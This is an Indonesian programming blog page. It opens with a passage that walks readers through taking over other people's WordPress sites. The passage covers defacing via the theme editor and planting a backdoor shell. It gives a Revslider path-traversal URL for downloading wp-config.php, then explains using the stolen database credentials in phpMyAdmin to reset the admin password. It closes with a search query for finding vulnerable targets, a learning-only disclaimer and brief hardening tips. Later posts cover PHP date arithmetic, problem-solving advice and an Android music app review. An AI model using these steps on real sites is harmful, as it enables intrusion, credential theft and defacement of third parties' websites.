Mau deface dan ubah tampilan utama website dengan latar belakan hitam dan tulisan merah bertulisakan nama keren anda? ubah aja file index.php lewat theme editor wp-nya.

Mau lebih dalam lagi? takut ketahuan dan login mu di apus admin??
Upload ada shell script sebagai backdoor.
Jadi kalaupun anda di depak oleh admin, anda masih bisa masuk ke server lewat shell script backdoor ini.

====================================================
Dewa gak tuh file wp-config.php

Mau sekalian dibisiki gimana langkah sampe bisa dapetin akses admin di wordpress korban?

Pertama manfaatkan vulnerability si plugin revslider ini dulu.

Pastikan web yang akan jadi target terinstall plugin ini.
Masuk kehalaman
http://situstarget.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

maka apabila website target tersebut tertanya vulberable, maka file wp-config.php akan terdoanload dengan nama admin-ajax.php
Buka aja file itu, maka anda akan menemukan setting setting login database seperti dimaksud diatas.

Lanjut..
Setelah dapat data login database, selanjutnya kita coba masuk ke phpmyadmin.
http://situstarget.com/phpmyadmin
Kalau di server website tersebut terinstall phpmyadmin maka kita tinggal login menggunakan data yang sudah kita dapat.

Sudah muncul data di databasenya??
Selanjutnya cari tabel user, lihat username admin nya apa, ganti isi kolom password dengan password yang anda inginkan, eits jangan lupa passwordnya di ubah ke md5 dulu yah, online encriptor untuk md5 banyak kok googling aja.

Seletelah berhasil di ubah di databasenya, masuk ke
http://situstarget.com/wp-admin
Login dengan username dan password yang kita ubah tadi.

Tara...
Anda sudah masuk sebagai admin..
Selanjutnya kreatif kreatif aja..


Gampang amat??
yups segampang itu memang.
tapi tunggu dulu, ada beberapa kondisi yang harus terpenuhi agar cara tersebut bisa dilakukan.
1. Website harus terinstall plugin revslider yang vulnerable dan plugin tersebut aktif.
2. Kita harus bisa menghakses mysql server baik dari phpmyadmin atau mysql client.
Syarat agar bisa mengakses lewat phpmyadmin ya di server website tersebut harus terinstall phpmyadmin.
Dan syarat agar kita bisa mengakses database mysql selain lewat phpmyadmin adalah setting pada mysql server website tersebut mengizinkan akses dari remote host.
Jika tidak ada dari dua kondisi ini yang terpenuhi maka kita tidak bisa melakukan apapun walau kita bisa mendapatkan file dewa si wp-config.php

mau coba praktekin?
coba cari di google dengan keyword inurl:"plugins/revslider"
keluar dah tuh website website yang menggunakan plugin ini.



Disclaimer:
Tulisan ini hanya bertujuan sebagai pembelajaran, segala kerugian yang timbul akibat penyalahgunaan informasi yang terdapat pada tulisan ini bukan merupakan tanggung jawab programmer goBlog.


Tips.
Jika anda merupakan seorang web administrator dan menyadari bahwa salah satu website anda menggunakan plugin  ini maka segera lakukan update plugin dan pastikan plugin serta tema yang terinstall pada website anda merupakan versi terbaru.

Jika karena satu dan lain hal anda tidak dapat melakukan update terhadap plugin tersebut, dianjurkan untuk men-disable atau memberikan limitasi pada mysql server agar tidak dapat diakses dari remote.
Apabila anda menggunakan phpmyadmin maka pastikan phpmyadmin tidak dapat diakses secara langsung (baik dengan menyembunyikan url default phpmyadmin, atau dengan memberikan limitasi sehingga phpmyadmin hanya dapat diakses melalui cpanel misalkan)

Akhir kata semoga tulisan ini bermanfaat.
Salam programmer goBlog.

Jumat, 14 Agustus 2015

Menampilkan tanggal dari tanggal awal ditambah hari

Halo sobat programmer goBlog, sudah lama tidak ada kabar berita dari si goBlog ini.
Kali ini programmer goBlog kembali dengan sedikit tutorial tentang pemrograman PHP.
Tutorial ini muncul ketika saya terfikir untuk menampilkan tanggal tertentu dari tanggal awal ditambah beberapa hari.
Maksudnya seperti ini, misal kita ingin menampilkan tanggal 10 hari setelah tanggal 12-januari-2015.
Jadi apabila tanggal awal adalah 12-januari-2015 dan tanggal setelah 10 hari adalah 22-januari-2015.

gampang, tinggal tambahin aja jumlah tanggalnya. eits, gak semudah itu. kenapa? andaikan tanggal awal adalah 23-januari-2015 maka 10 hari setelahnya adalah 34-januari-2015. duh ada tah..
ah bisa diakali, kalau hasil penjumlahan lebih dari 31 maka tanggalnya jadi hasil-31 = 3 dan bullan nya diganti jadi januari.

Macam gambar dibawah ini?

Bisa sih, tapi maih kurang...
kenapa????
iya kalau hasilnya cuma 34, lah kalau hasilnya jadi 70??
misal 70 hari setelah tanggal 22 januari 2015 adalah ==?????
ah tambah aja if else nya..
bisa, tambah aja sampe semua kemungkinan skenario habis. 90 hari 200 hari 5000 hari dst...

cara seperti diatas memang memungkinkan untuk diterapkan, tetapi sebetulnya ada cara yang lebih gampang.
Caranya adalah dengan menggunakan fungsi di php yaitu gregoriantojd();
fungsi ini mengubah format tanggal yang berupa tanggal bulan tahun menjadi jumlah hari saja.
kemudian kita tinggal menambahkan hasil dari fungsi tadi dengan jumlah hari tambahan yang kita perlukan tadi.
Selanjutnya kita ubah lagi format nya menjadi tanggal bulan dan tahun dengan menggunakan fungsi pembalik dari jd ke gregorian yaitu fungsi jdtogregorian();

seperti gambar dibawah ini.

Seperti itulah kira kira sedikit sharing pengetahuan yang bisa saya bagi..
mungkin ada yang sedang membutuhkan dan kebingungan.
Semoga bermanfaat, dan apabila ada yang ingin ditanyakan programmer goBlog dengan senang hati menjawab.

Rabu, 03 Juni 2015

Pemrograman itu selalu tentang logika dan langkah langkah logis

Halo sahabar goBlog seantero dunia maya.
Kali ini programmer goBlog kembali dengan sedikit pemikiran yang terlintas dikepala berdasarkan pertanyaan dari salah seorang kawan yang meminta bantuan programmer goBlog dalam memecahkan permasalah dari tugas kuliahnya, tentang VisualBasic dan cristal report, karena menurutnya dia sudah mencoba googling tapi tidak menemukan hassil.
Well, meskipun dalam perjalanan saya tidak pernah belajar tentang VB maupun cristal report namun berbekal satu asumsi bahwa semua bahasa pemrograman adalah tentang logika jadi penuisa menyatakan kesanggupan untuk membantu memecahkan permasalahan tersebut.
Dengan sedikit googling tentunya.
Permasalahanya seperti ini, ketika men-generate report dari program yang dia buat, muncul error yang menyatakan ada sesuatu yang seharunya terisi namun tidak terisi. Saya berasumsi terdapat kesalahan pada koneksi database dengan cristal report, dan teryata salah koneksi cristal report ke database baik baik saja setelah melihat bahwa report preview tergenerate dengan sempurna pada cristal report.
Kemudian saya melihat ke function atau prosedure (terserah sobat memilih sebutan yang mana) yang menangani proses generate report ini.
dalam function ini saya menemukan dua tugas inti yaitu save data ke databse dan print report data yang baru saja tersimpan di database.
Data berhasil tersimpan ke database, namun tidak tergenerate ke reportnya.
Hal ini membuat saya melihat lebih dalam pada tugas generate report. Dan ternyata pada baris program ini terdapat suatu data yang harus dimasukkan, data ini diambil dari form. Sekilas seharusnya tidak ada masalah karena seharusnya data yang diperlukan tersebut ada di form (karena data ini ada ketika melakukan insert ke database).
Namun setelah melihat lebih dalam, ternyata data penting ini diambil langsung dari EditText VB. Seharusnya sekali lagi tidak ada masalah, kemudian saya menyadari sebuah baris diantara kedua tugas inti tadi, saya menduga ini merupakan sebuah fungsi yang entah apa isi dari fungsi ini karena penulis tidak melihat kedalam fungsi ini, akan tetapi saya berasumsi bahwa fungsi ini adalah bertugas untuk mengosongkan form yang ada di program sehinga ketika tiba tugas untuk mencetak report yang juga mengambil data dari EditText pada form tidak mendapat data yang dibutuhkan karena isi form telah dikosongkan.
Nah setelah berfikir bagaimana cara mengatasi hal ini yaitu dengan tidak mengambil data langsung dari EditText melaikan mengambil dari variable yang disiapkan dan diisi dengan data yang ada pada EditText dan menempatkan variable ini sebelum fungsi pengosongan form tadi. jadi walaupun form telah dikosongkan satu data penting ini telah tersimpan di variable.
Disinilah proses gooling memberikan pertolongan, seperti yang sudah saya sebutkan sebelumnya bahwa saya tidak pernah belajat vb jadi tidak tahu aturan bagaimana membuat atau mendeklarasikan maupun memberi isi pada sebuah variabe di vb. Setelah melalui proses googling maka masalah ini pun terselesaikan.

Apa sebenarnya tujuan saya menceritakan kejadian ini? toh tidak akan menyelesaikan permsalahan anda yang mungkin saat ini sedang anda hadapi sehingga anda sampai ke tulisan ini, yang ingin saya tekankan bukanlah studi kasus yang saya alami diatas, melaikan cara dan prosedur penyelesaian permasalahan secara global.
Artinya begini, ketika kita menemui masalah seperti itu dan gooling tidak menemukan pencerahan mungkin permasalahan anda terlalu global dan kurang meruncing, anda harus membagi permasalahan tersebut menjadi se-spesifik mungkin. seperti kasus diatas saya tidak melakukan gooling untuk permasalahan kenapa kristal report nya error, melainkan saya mencoba untuk memecahkan permasalahan hingga permasalahannya tinggal bagaimana membuat variabel di VB, sehingga masalah yang saya cari di google akan sangat spesifik yaitu 'bagaimana cara deklarasi variable di vb' bukan malah 'bagaimana menyelesaikan vb dan cristal report yang error'.
Selain itu saya juga ingin menekankan bahwa pemrograman itu semua tentang logic, gunakan otak kita untuk melihat dan mencoba menyelesaikan alur logika dan memecah permasalahan menjadi beberapa permasalahan yang lebih mengerucut dan spesifik sehingga akan memudahkan kita dalam proses gooling.
Ini juga yang sering saya katakan kepada teman-teman yang sedang belajar pemrograman, kita tidak bisa melakukan gooling tentang bagaimana cara membuat rumah. tetapi kita coba analisa secara logika bagaimana untuk membangun rumah, misalnya : buat pondasi, buat dinding dari susunan batu bata yang direkatkan dengan campuran semen air dan pasir, buat kerangka atap, pasang genteng pada kerangka atap.
Jika kita melakukan googling 'bagaimana cara membuat rumah' maka kita akan mengalami banyak kesulitan karena permasalah yang kita coba pecahkan masih terlalu rumit. akan tetapi jika kita telah membagi permasalahan bagaimana membuat rumah ini menjadi beberapa tahapan atau masalah-masalah yang lebih kecil dan mengerucut, kita bisa mencari penyelesaian permasalahan tersebut satu persatu. Misal kita googling tentang 'bagaimana cara membuat pondasi' nah lebih mengerucut dan simple kan??

Begitulah kurang lebih cara pandang yang harus kita tahu, bahwa pemrograman itu adalah tentang logika, tentang algoritma, tentang langkah langkah logis untuk menyelesaikan suatu permsalahan. ingat jika anda terlalu malas untuk berfikir membagi permasalahan yang besar menjadi beberapa permasalahan-permasalahan kecil yang simple, maka anda akan melihat pemrograman itu sulit dan memusingkan, terlebih anda harus bertanya kepada diri anda sendiri apakah anda telah benar memilih untuk belajar pemrograman?
semoga bermanfaat.

Jumat, 29 Mei 2015

karaoke mp3 player dengan lirik di android

Weits.. Udah lumayan lama ini blog gak dikasih makan, so Kali ini kita bakal kàsih update dulu untuk pembaca blog ini yg mungkin kesasar lewat google search atau yang memang membutuhkan inform as I yang bakal kita bahas kali ini, apa itu? Tulisan ringan untuk menghabiskan waktu luang. Kali ini kita akan membahas tentang satu aplikasi pemutar musik di perangkat android nama aplikasinya musicmatch.
Ini nih tampilanya.

Ah biasa aja tampilanya... Eits tapi liat dulu fitur fiturnya..

Kurang puas dengan audio hasil keluaran Dari gadged anda? Utak atik aja sendiri lewat fitur equalizer sampe sesuai dengan selera kuping kita.



Atau pengen liat lirik lagu yg lagi di play? Gampang, mp3 player satu ini udah punya build ini lirik display sendiri. Jadi tinggal play lirik udah muncul sendiri. Butuh koneksi internet tentunya. Fiturnya sama lah kaya minilyric yg ada di komputer kita.

Segitu doang? Masih ada lagi dong..
Kamu suka nyanyi / karaoke? Mp3 player android ini punya fiturnya. 

Kerenkan?
Ini belum termasuk fitur fitur standard seperti playlist, favorites dll dll.

Nah gitu aja sih review nya. Semoga bermanfaat.

Popular Posts

Recent Posts

Unordered List

Pages

Kunjungan

Diberdayakan oleh Blogger.